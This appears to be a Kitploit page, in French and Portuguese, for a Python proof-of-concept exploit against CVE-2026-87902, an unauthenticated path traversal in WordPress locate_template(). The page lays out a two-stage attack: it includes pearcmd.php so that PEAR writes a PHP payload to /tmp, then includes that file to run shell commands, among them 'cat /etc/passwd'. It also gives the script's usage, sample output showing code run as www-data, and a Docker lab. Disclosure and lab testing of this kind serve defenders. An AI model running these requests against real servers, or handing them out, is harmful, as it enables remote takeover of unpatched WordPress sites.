CVE-2026-87902 — PoC Python exploitant CVE-2026-87902, une traversée de chemin non authentifiée dans locate_template() de WordPress menant à une LFI et à une RCE basée sur PEAR, avec un mode de détection sécurisé. | Kitploit


CVE	CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
Advisory	GHSA-7hp8-65ch-5whp
Affectées	WordPress 4.7.0 – 7.1.1 (toutes les branches)
Fix	7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit	`5fde0bb7b9775523959094bf280cc54bfa78af51` (merge du changeset 63792)
Fichiers	`wp-includes/template.php` (`get_page_template()`, `locate_template()`, `_wp_is_template_path_allowed()`)
Authentification	Aucune — aucun utilisateur, cookie, nonce ou plugin
Crédits	Découverte et disclosure : Robert Ressl

// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

#	Précondition	Raison
1	Page publiée, accessible anonymement, sélectionnable par `page_id` et sans custom template	La requête doit résoudre vers une Page ; un template custom viendrait avant dans la hiérarchie
2	Répertoire top-level dans le thème actif (child ou parent) commençant par `page-` (ex. : `page-templates/`)	WP préfixe le préfixe fixe `page-` ; c'est par lui que le traversal entre. Il suffit qu'il existe et soit traversable (peut être vide). Présent dans Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3	Cible `.php` locale existante et lisible	Le loader ajoute `.php` et vérifie `is_file()`/`is_readable()`
4	(uniquement pour RCE) `pearcmd.php` lisible + `register_argc_argv=On` + répertoire inscriptible (ex. : `/tmp`)	Route PEAR→RCE : `config-create` écrit le payload PHP sur le serveur

Requête	`pagename`	Réponse attendue (vulnérable)
A — baseline	—	200, corps normal (~23 KB)
B — contrôle	traversal → fichier inexistant	200, corps normal (fallback `page.php`)
C — probe	traversal → `wp-content/index.php` ("Silence is golden")	200 avec corps vide

Étape 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → le traversal inclut /usr/local/lib/php/pearcmd.php
           → argv vient de la query string brute (register_argc_argv=On)
           → config-create ÉCRIT le payload dans /tmp/wp-pear-rce.php (12 copies sérialisées)

Étape 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → le même traversal inclut le fichier généré → system(<--command>) s'exécute en www-data

# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Paramètre	Default	Description
`--url`, `-u`	(obligatoire)	URL de base de WordPress
`--command`, `-c`	`id`	Commande shell exécutée sur la cible (ignorée avec `--validate-only`)
`--validate-only`	off	Valide uniquement la vulnérabilité (LFI, s'arrête avant le RCE/écriture)
`--page-id`	auto (REST, fallback probe)	ID de page publiée sans custom template
`--theme-dir`	essaie `page-templates`, `page-template`	Répertoire top-level du thème commençant par `page-`
`--probe-target`	`index`	Cible du probe de détection, sans `.php` (`index` → `wp-content/index.php`)
`--depth`	0 (balaye 1–12)	Nb de segments `../`
`--pear-path`	essaie la liste interne	`pearcmd.php` de l'étape RCE, sans `.php` (Docker, Debian, XAMPP)
`--output`	`/tmp/wp-pear-rce`	Destination inscriptible du payload PEAR, sans `.php`
`--timeout`	`20`	Timeout par requête (s)
`--insecure`	off	Ne pas vérifier le certificat TLS
`--verbose`	off	Sortie détaillée par tentative

[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:

docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

CVE-2026-87902

Populaires

1. La vulnérabilité

Chaîne d'exploitation (code du dépôt)

Préconditions

2. Ce que fait le script

Étape 1 — détection sûre (s'exécute toujours en premier)

Étape 2 — RCE via `pearcmd.php` (écriture)

3. Utilisation

Paramètres

Sortie attendue dans le lab

4. Lab (Docker)

5. Limitations et note pour les défenseurs

6. Références

Avertissement légal